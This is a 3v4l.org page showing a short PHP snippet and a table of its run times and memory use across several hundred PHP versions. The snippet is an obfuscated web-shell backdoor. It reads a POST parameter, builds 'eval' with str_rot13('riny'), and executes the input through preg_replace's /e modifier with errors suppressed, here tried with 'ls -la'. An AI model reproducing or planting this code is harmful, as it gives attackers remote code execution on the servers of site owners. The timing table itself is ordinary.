3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_POST['dak'] = "ls -la"; if(isset($_POST['dak'])){ var_dump(($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add')); echo '@' . str_rot13('riny') . '('.$www.')'; } if(isset($_POST['dak'])){ ($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add'); }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0000.01516.75
8.3.50.0130.00922.05
8.3.40.0100.00318.85
8.3.30.0150.00418.84
8.3.20.0050.00220.34
8.3.10.0050.00320.32
8.3.00.0030.00623.72
8.2.180.0100.00718.29
8.2.170.0080.00622.96
8.2.160.0070.00722.18
8.2.150.0050.00324.18
8.2.140.0040.00424.66
8.2.130.0030.00620.79
8.2.120.0070.00026.35
8.2.110.0070.00322.07
8.2.100.0110.00017.93
8.2.90.0080.00019.30
8.2.80.0030.00617.97
8.2.70.0090.00017.63
8.2.60.0060.00317.93
8.2.50.0060.00318.09
8.2.40.0060.00322.23
8.2.30.0000.00819.41
8.2.20.0040.00417.74
8.2.10.0040.00418.13
8.2.00.0040.00418.18
8.1.280.0110.00725.92
8.1.270.0110.00722.19
8.1.260.0040.00428.09
8.1.250.0080.00028.09
8.1.240.0060.00323.98
8.1.230.0040.00717.89
8.1.220.0040.00417.74
8.1.210.0000.00818.77
8.1.200.0030.00717.35
8.1.190.0050.00317.35
8.1.180.0050.00318.10
8.1.170.0040.00418.57
8.1.160.0000.00720.71
8.1.150.0000.00718.89
8.1.140.0040.00419.45
8.1.130.0030.00517.64
8.1.120.0070.00017.47
8.1.110.0040.00417.37
8.1.100.0000.00717.51
8.1.90.0000.00717.43
8.1.80.0050.00217.52
8.1.70.0030.00317.46
8.1.60.0040.00417.47
8.1.50.0030.00517.55
8.1.40.0060.00617.52
8.1.30.0050.00317.50
8.1.20.0030.00717.54
8.1.10.0040.00417.49
8.1.00.0040.00417.42
8.0.300.0040.00418.77
8.0.290.0080.00016.75
8.0.280.0030.00318.32
8.0.270.0040.00417.16
8.0.260.0030.00317.26
8.0.250.0000.00717.06
8.0.240.0000.00716.91
8.0.230.0000.00817.05
8.0.220.0030.00316.95
8.0.210.0000.00716.96
8.0.200.0060.00016.93
8.0.190.0040.00417.08
8.0.180.0080.00016.97
8.0.170.0080.00017.05
8.0.160.0070.00017.02
8.0.150.0040.00416.89
8.0.140.0040.00416.89
8.0.130.0030.00313.34
8.0.120.0000.00816.90
8.0.110.0000.00816.98
8.0.100.0000.00816.75
8.0.90.0040.00417.00
8.0.80.0120.00616.86
8.0.70.0030.00516.77
8.0.60.0040.00417.02
8.0.50.0040.00417.01
8.0.30.0090.00916.95
8.0.20.0090.01017.40
8.0.10.0040.00417.02
8.0.00.0050.01316.79
7.4.330.0000.00616.78
7.4.320.0030.00316.48
7.4.300.0000.00616.59
7.4.290.0030.00316.49
7.4.280.0030.00516.61
7.4.270.0030.00616.52
7.4.260.0040.00416.59
7.4.250.0040.00416.48
7.4.240.0030.00416.58
7.4.230.0030.00316.69
7.4.220.0070.01016.61
7.4.210.0100.00916.58
7.4.200.0070.00016.39
7.4.160.0100.00616.55
7.4.150.0110.01017.40
7.4.140.0090.00917.86
7.4.130.0100.01416.55
7.4.120.0080.00916.57
7.4.110.0090.00816.52
7.4.100.0190.00316.38
7.4.90.0080.00916.65
7.4.80.0040.01419.39
7.4.70.0070.01016.55
7.4.60.0110.00616.52
7.4.50.0030.01016.64
7.4.40.0030.01316.80
7.4.30.0140.00316.45
7.4.00.0030.00814.79
7.3.330.0000.00613.36
7.3.320.0030.00313.29
7.3.310.0060.00016.40
7.3.300.0080.00016.37
7.3.290.0000.00616.38
7.3.280.0100.00916.39
7.3.270.0140.00217.40
7.3.260.0140.00416.49
7.3.250.0100.01116.47
7.3.240.0070.00916.50
7.3.230.0060.01016.39
7.3.210.0140.00316.52
7.3.200.0030.01419.39
7.3.190.0120.00316.54
7.3.180.0000.01516.44
7.3.170.0120.00616.57
7.3.160.0080.01116.47
7.3.120.0070.01114.68
7.3.110.0070.00715.01
7.3.100.0070.01014.93
7.3.90.0070.01114.92
7.3.80.0130.00314.89
7.3.70.0040.00815.05
7.3.60.0060.00614.56
7.3.50.0030.00614.77
7.3.40.0130.00014.71
7.3.30.0070.01014.88
7.3.20.0070.01016.54
7.3.10.0090.00916.88
7.3.00.0110.00416.41
7.2.330.0120.00616.84
7.2.320.0090.00916.71
7.2.310.0030.01516.96
7.2.300.0060.01017.02
7.2.290.0060.01216.80
7.2.250.0100.01015.40
7.2.240.0120.00615.27
7.2.230.0040.01115.37
7.2.220.0100.00315.17
7.2.210.0070.01015.07
7.2.200.0090.00015.01
7.2.190.0000.01115.23
7.2.180.0090.00615.32
7.2.170.0100.01015.24
7.2.60.0090.00317.28
7.2.00.0060.00619.76
7.1.330.0070.01016.13
7.1.320.0000.01315.91
7.1.310.0030.01015.63
7.1.300.0000.01416.10
7.1.290.0080.00816.21
7.1.280.0060.00915.72
7.1.270.0050.00915.89
7.1.260.0070.00716.13
7.1.200.0040.00815.83
7.1.100.0000.01118.19
7.1.70.0040.00417.46
7.1.60.0030.02019.40
7.1.50.0070.01417.19
7.1.00.0000.08022.36
7.0.200.0300.00714.93
7.0.60.0230.08319.98
7.0.50.0070.03717.89
7.0.40.0100.07720.41
7.0.30.0200.05720.05
7.0.20.0230.08020.01
7.0.10.0100.06720.05
7.0.00.0070.07020.18
5.6.280.0000.06321.11
5.6.210.0070.07720.52
5.6.200.0100.08018.21
5.6.190.0100.05720.41
5.6.180.0200.06320.64
5.6.170.0300.07320.38
5.6.160.0100.04020.38
5.6.150.0070.04018.21
5.6.140.0170.06318.04
5.6.130.0070.05018.18
5.6.120.0030.05021.09
5.6.110.0130.08021.14
5.6.100.0070.05021.11
5.6.90.0070.07321.12
5.6.80.0100.07720.38
5.5.350.0070.04720.41
5.5.340.0100.07718.01
5.5.330.0170.08020.21
5.5.320.0700.06320.30
5.5.310.0430.07020.27
5.5.300.0100.08018.03
5.5.290.0000.05017.95
5.5.280.0030.07320.96
5.5.270.0100.04720.75
5.5.260.0130.07720.75
5.5.250.0170.05720.77
5.5.240.0300.07020.23

preferences:
59.76 ms | 401 KiB | 5 Q